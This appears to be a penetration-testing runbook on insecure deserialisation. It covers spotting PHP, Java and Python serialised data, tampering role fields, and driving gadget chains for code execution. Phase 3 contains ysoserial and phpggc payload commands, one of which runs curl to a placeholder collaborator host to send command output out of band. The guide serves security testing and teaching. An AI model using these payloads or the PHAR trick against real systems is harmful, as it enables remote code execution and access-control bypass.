Runbook: Insecure deserialisation¶
When an application rebuilds an object from attacker-controlled bytes, the act of
reconstruction can run code: magic methods fire, gadget chains in the classpath execute, and
a tampered field changes an identity decision. Findings range from a flipped isAdmin flag
to full remote code execution. The work runs from spotting serialised data to driving a
gadget chain.
Prerequisites¶
Source access where available, since a code review is the most reliable route to the deserialisation sink.
Otherwise, captured traffic with the large opaque blobs that mark serialised objects.
The right generator for the language: ysoserial for Java, phpggc for PHP.
Phase 1: Spot serialised data¶
Look for the formats each language leaves behind:
PHP: strings like
O:4:"User":2:{...}, often base64-encoded in a cookie or parameter.Java: base64 beginning
rO0AB, or raw bytes startingAC ED 00 05.Ruby/Python: base64 blobs,
Marshal/pickleartefacts, YAML where a loader is unsafe.
Decode anything base64 to read the structure. A user-controlled serialised object passed back to the server is the candidate.
Phase 2: Tamper without a gadget¶
The simplest wins need no chain. Modify a field in the serialised object and replay:
Flip an identity or role field (
isAdmin,user_type) and watch for changed access.Change a data type where the language compares loosely, so a strict comparison is dodged (PHP comparing a tampered type against an expected string, for instance).
Point a filename or path field elsewhere to reach a file the object then opens.
Phase 3: Drive a known gadget chain¶
Where tampering alone does not pay off, an installed library may carry a gadget chain that reaches code execution. Generate a payload with the matching tool and deliver it through the same parameter:
# Java, Apache Commons Collections on the classpath
java -jar ysoserial.jar CommonsCollections4 'curl http://COLLAB/$(id|base64)' | base64
# PHP, a framework gadget
phpggc Symfony/RCE4 system 'id' -b
ysoserial needs a JDK old enough to expose the gadget classes; Java 11 works where 17 blocks access. Confirm execution out of band (a Collaborator hit) rather than relying on a visible response.
Phase 4: Build a custom chain¶
Where no off-the-shelf chain fits, assemble one from the classes actually present. Identify
magic methods that run on deserialisation (__wakeup, __destruct in PHP; readObject in
Java), trace a sequence that ends in a dangerous call, and hand-craft the serialised object to
walk it. PHAR deserialisation is the delivery trick worth remembering: a crafted PHAR archive
deserialises its metadata when a file operation touches a phar:// path, so even an upload or
a filename sink can be the entry point.
Output¶
The serialised object, its language, and the entry point.
Whether the impact was tamper-only (auth bypass, logic change) or full code execution.
The gadget chain used, and OOB confirmation of execution.
A note on blast radius, since deserialisation testing can damage the target if run carelessly.